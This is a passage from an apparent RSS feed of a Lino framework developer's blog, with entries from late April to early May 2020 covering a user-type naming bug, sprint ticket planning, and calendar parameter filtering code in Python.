It was a bit too much of surprises.  Johanna must wait another day.
I leave everything open and push all my work in case Hamza or Tonis want to dive into this.
If you find the explanation, I’ll pay you a cup of ice cream ;-)&lt;/p&gt;
&lt;p&gt;10:21 : The ice cream goes to myself… I found the culprit (in &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/api.html#module-lino_noi.lib.noi.user_types" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.noi.user_types&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;UserTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;add&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;UserTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_item&lt;/span&gt;
&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;000&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Anonymous&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Anonymous&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;anonymous&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;readonly&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;authenticated&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;100&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Customer&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Customer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;customer&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;200&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Contributor&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Contributor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;contributor&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;400&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Developer&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;Developer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;developer&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;900&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Administrator&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;SiteAdmin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;UserTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;UserTypes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;customer&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes… this example shows what I love with the Python language: it even allows
you to shoot in your knee.  Should we forbid this kind of shooting in your knee?
Seems that it would be difficult: my first idea, adding a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;__slots__&lt;/span&gt;&lt;/code&gt;
attribute, works only on class &lt;em&gt;instances&lt;/em&gt;, not on the class objects themselves.
Python says &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;TypeError:&lt;/span&gt; &lt;span class="pre"&gt;nonempty&lt;/span&gt; &lt;span class="pre"&gt;__slots__&lt;/span&gt; &lt;span class="pre"&gt;not&lt;/span&gt; &lt;span class="pre"&gt;supported&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;subtype&lt;/span&gt; &lt;span class="pre"&gt;of&lt;/span&gt;
&lt;span class="pre"&gt;'type'&lt;/span&gt;&lt;/code&gt;, as they explain in &lt;a class="reference external" href="https://stackoverflow.com/questions/9654133/metaclasses-and-slots"&gt;this thread&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I “fixed” the problem by saying that in Noi, the user type with internal name
“user” is called “Customer” in the web interface.  That’s no truly elegant
solution, either.&lt;/p&gt;
&lt;p&gt;A more elegant way to avoid at least above kind of knee-shooting is to add
support for specifying &lt;em&gt;multiple names&lt;/em&gt; for a choice of a choicelist. OMG, and I
couldn’t help but quickly doing this as well… which caused yet another
avalanche of (internal) changes.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture of &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.team&lt;/span&gt;&lt;/code&gt;  is a usage
example.  It gives Marc the user type &lt;cite&gt;customer&lt;/cite&gt; and doesn’t know that this is
the same as user type &lt;cite&gt;user&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.UserType" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.UserType&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; had a custom &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__repr__()&lt;/span&gt;&lt;/code&gt; method. I
removed it. And as yet another optimization I changed the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__repr__()&lt;/span&gt;&lt;/code&gt;
method of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.choicelists.html#lino.core.choicelists.Choice" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.choicelists.Choice&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to include the plugin name.
(Which caused again a few dozen of doctests to fail…)&lt;/p&gt;
&lt;p&gt;TODO on the prod server (later):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;go prod ; pip install lino-avanti&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;There are three config files in &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/nginx/sites-available&lt;/span&gt;&lt;/code&gt; : remove
the useless ones&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remove useless virtualenvs and repositories.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0504.html</guid><pubDate>Mon, 04 May 2020 00:00:00 +0000</pubDate></item><item><title>Saturday, May 2, 2020</title><link>https://luc.lino-framework.org/blog/2020/0502.html</link><description>&lt;section id="saturday-may-2-2020"&gt;
&lt;h1&gt;Saturday, May 2, 2020&lt;a class="headerlink" href="#saturday-may-2-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I opened #3620 (Lino Noi sprint May 2020). The following tickets look like
candidates for this sprint:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;#3621 (Better user interface for ticket dependency management)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3466 (Add feedback to comments plugin)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3369 (Priority, Urgence and Importance)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3498 (Bring back the stars plugin to Noi)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3367 (List of recently touched sites)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3301 (Maintenance orders and service reports in Noi)
Optimize the management of service reports. Started &lt;a class="reference external" href="https://luc.lino-framework.org/blog/2019/1028.html"&gt;2019-10-28&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3541 (Optimizations to time tracking)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I deactivated some tickets:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;#3540 (Add “customer requirements” to Noi) –&amp;gt; Refused.
Replaced by better ticket dependency management.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3530 (Chat using XMPP or Matrix?) –&amp;gt; Sleeping. Before starting on this we
should actually switch to some free IM solution.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Concrete steps:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;#3621 The current implementation of “Trigger a spawned ticket” is simply bad.
Convert it to a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/action_parameters.html#term-dialog-action" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;dialog action&lt;/span&gt;&lt;/a&gt; that also asks for the link type.
Review the &lt;cite&gt;LinksByTicket&lt;/cite&gt; table summary. Add an &lt;cite&gt;insert_layout&lt;/cite&gt; for &lt;cite&gt;tickets.Links&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3369 Have Ticket inherit from Sequenced. Make sure the seqno of a ticket
relates to its &lt;cite&gt;site&lt;/cite&gt;. Make TicketsBySite be sorted by seqno.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3369 Rename “Priority” to “Urgence”.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3301 Turn service reports into vouchers that can use credit. Add a journal
for invoices that fill up credit. Time credit is now expressed in euro rather
than in hours.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3301 Add a model &lt;cite&gt;Sponsoring&lt;/cite&gt;.  Move fields company, contact_person
and reporting_type from Site to Sponsoring (&lt;cite&gt;company&lt;/cite&gt; and &lt;cite&gt;contact_person&lt;/cite&gt; are
the sponsor, &lt;cite&gt;site&lt;/cite&gt; is the site being sponsored, &lt;cite&gt;reporting_type&lt;/cite&gt;, maybe also
a percentage). During data migration, replace a non-empty &lt;cite&gt;company&lt;/cite&gt; of a
&lt;cite&gt;Site&lt;/cite&gt; by a &lt;cite&gt;Sponsoring&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3466 Add a choicelist comments.ReplyTypes and a field Comment.reply_type with
choices “Seen”, “Like” and “Dislike”. The reply_type field makes sense only
when Comment.reply_to is given (add a validation rule reply_type must be empty
when reply_to is empty).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;#3466 CommentsByRFC : visualize when a comment is a reply to another comment.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I started with the first step (#3621):&lt;/p&gt;
&lt;p&gt;Converted &lt;cite&gt;tickets.SpawnTicket&lt;/cite&gt; to a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/action_parameters.html#term-dialog-action" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;dialog action&lt;/span&gt;&lt;/a&gt; that also asks for the link type.
Reviewed the &lt;cite&gt;LinksByTicket&lt;/cite&gt; table summary. Added an &lt;cite&gt;insert_layout&lt;/cite&gt; for &lt;cite&gt;tickets.Links&lt;/cite&gt;.
Dependencies (Links) now get deleted in cascade with their ticket.&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;deploy.SpawnTicketFromWish&lt;/span&gt;&lt;/code&gt; action in  no longer works. I saw this when
it was too late. I disabled it as this plugin isn’t used anywhere in production.&lt;/p&gt;
&lt;p&gt;I added a LinkType “duplicates”. Actually I re-added it back.  I think that now
we will replace the duplicate_of field back to a link. But to be observed.  Also
I am not yet so sure about the list of link types: do we need them all? Or do we
need more of them?&lt;/p&gt;
&lt;p&gt;TODO: I had to manually set &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ar._status&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;None&lt;/span&gt;&lt;/code&gt; to disable caching of the
status. Make a method for this and document it.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0502.html</guid><pubDate>Sat, 02 May 2020 00:00:00 +0000</pubDate></item><item><title>Friday, May 1, 2020</title><link>https://luc.lino-framework.org/blog/2020/0501.html</link><description>&lt;section id="friday-may-1-2020"&gt;
&lt;h1&gt;Friday, May 1, 2020&lt;a class="headerlink" href="#friday-may-1-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tonis and I started &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3617"&gt;#3617&lt;/a&gt; (Model.as_paragraph() / Support choosing
Jinja template over ElementTree). It is a preparation for the new “data table”
actor Tonis is working on.  This actor is going to produce something similar to
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_table_summary()&lt;/span&gt;&lt;/code&gt;, but with pagination controls and other features, e.g.
drag-and-drop.  We took &lt;a class="reference external" href="https://dev.lino-framework.org/specs/comments.html#lino.modlib.comments.Comment" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments.Comment&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; as an example.&lt;/p&gt;
&lt;p&gt;I love generating HTML in Python using ElementTree. But Tonis prefers Jinja
templates.  That’s why we conceived an API that satisfies both of us. As an
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-application-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;application developer&lt;/span&gt;&lt;/a&gt; you can either override the
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_data_card_elements&lt;/span&gt;&lt;/code&gt; or
the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;summary_row&lt;/span&gt;&lt;/code&gt; method of your
model.  The former is for when you want to use ElementTree, the latter is for
when you want to use Jinja templates.&lt;/p&gt;
&lt;p&gt;These changes might have introduced bugs that are not detected by the test
suite, so I manually ran several tests regarding printing. Everything seems
okay.  This made me discover a bug in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; that was obviously
introduced after their end-user tests last week. Glad that I found it.&lt;/p&gt;
&lt;p&gt;There is one change in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;etgen.html.to_rst&lt;/span&gt;&lt;/code&gt; (which is heavily used in
doctests, but not in production sites): if the value is a str, then it is
supposed to be raw html.&lt;/p&gt;
&lt;p&gt;I removed Comment.as_li (and tickets/Ticket.detail.html now calls as_summary_row
instead). I also removed Model.mobile_item, Site.mobile_view, Layout.main_m and
Actor.columns_m because these were not used.&lt;/p&gt;
&lt;p&gt;TODO: lino.core.actors.Actor.get_table_summary and
lino.modlib.comments.Comment.get_table_summary are very similar. Make them one.
Add a possibility to open a table summary in a main window.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0501.html</guid><pubDate>Fri, 01 May 2020 00:00:00 +0000</pubDate></item><item><title>Thursday, April 30, 2020</title><link>https://luc.lino-framework.org/blog/2020/0430.html</link><description>&lt;section id="thursday-april-30-2020"&gt;
&lt;h1&gt;Thursday, April 30, 2020&lt;a class="headerlink" href="#thursday-april-30-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I recorded a next screen cast about calendar management in &lt;a class="reference external" href="https://lino-framework.gitlab.io/presto/index.html#presto" title="(in Lino Presto)"&gt;&lt;span&gt;Lino Presto&lt;/span&gt;&lt;/a&gt;, also
about the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;municipality&lt;/span&gt;&lt;/code&gt; field.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://youtu.be/NwpJH349D18"&gt;https://youtu.be/NwpJH349D18&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But I had some work before Lino was ready for this.  Because I discovered that
the filter parameters in calendar views were still being ignored.  This caused a
whole series of internal changes.&lt;/p&gt;
&lt;p&gt;We have a new plugin parameter &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.calview.Plugin.params_layout&lt;/span&gt;&lt;/code&gt;,
which specifies the layout of the table parameters used by all calendar views.&lt;/p&gt;
&lt;p&gt;calview.EventsParameters must not call Event.setup_parameters but
Events.setup_parameters.&lt;/p&gt;
&lt;p&gt;This change in turn caused the problem that setup_parameters requires Actor.model to be resolved.
Until now kernel called class_init() on each actor, and class_init() called setup_parameters().
But calview.EventsParameters for some reason is coming before cal.Events.
To fix this, I splitted Actor.class_init into a new method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;init_layouts()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now the other problem: all those methods that map parameter values to queryset
filters.  The param_values AttrDict contains only values for those parameters
that are being used.  Which is a problem.&lt;/p&gt;
&lt;p&gt;There was no more need for a separate &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;calendar_param_filter()&lt;/span&gt;&lt;/code&gt; method on
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.Event&lt;/span&gt;&lt;/code&gt;, so I removed it.&lt;/p&gt;
&lt;p&gt;I also understood why I had to write:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;project__municipality&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;instead of the usual:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project__municipality&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The latter syntax failed for tables on cal.Event that don’t have the field
mentioned in their params_layout.  Because, yes, remote fields are kind of
volatile fields and get created on the fly when a layout asks for them.  That’s
why, when you want to use a remote field as table parameter, you should also
write a setup_parameters method on your model:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.core.fields&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;make_remote_field&lt;/span&gt;

&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setup_parameters&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setup_parameters&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;project__municipality&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;make_remote_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;project__municipality&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_request_queryset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_request_queryset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;pv&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;param_values&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project__municipality&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;places&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pv&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project__municipality&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;whole_clan&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project__isnull&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;project__city__in&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;places&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Before committing, I had once more some fun with writing documentation about
these things. I am still far from having finished.  I added the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--keep-going&lt;/span&gt;&lt;/code&gt;
option to &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-bd" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;bd&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0430.html</guid><pubDate>Thu, 30 Apr 2020 00:00:00 +0000</pubDate></item><item><title>Tuesday, April 28, 2020</title><link>https://luc.lino-framework.org/blog/2020/0428.html</link><description>&lt;section id="tuesday-april-28-2020"&gt;
&lt;h1&gt;Tuesday, April 28, 2020&lt;a class="headerlink" href="#tuesday-april-28-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Trying to fix &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3613"&gt;#3613&lt;/a&gt; (book failing on travis with “error: package
directory ‘lino_react/projects’ does not exist”).&lt;/p&gt;
&lt;p&gt;I noticed that react had no &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-test_packages.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_packages.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  I added it.  My
suggestion to remove &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react.projects&lt;/span&gt;&lt;/code&gt; from the packages in
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; won’t work then.  Until now all our repos adhere to the rule
that all packages are published in the PyPI as well.  Whether this rule is good
deserves meditation, but the easiest way and fix the problem seems to  to stick
to the rule for now and just remove the prune from the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-MANIFEST.in" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;MANIFEST.in&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I
started new-style change logging for react (one page per year,
&lt;cite&gt;react.changes.2020&lt;/cite&gt;).&lt;/p&gt;
&lt;p&gt;Released lino-react 20.4.28 to PyPI and restarted a build of book on
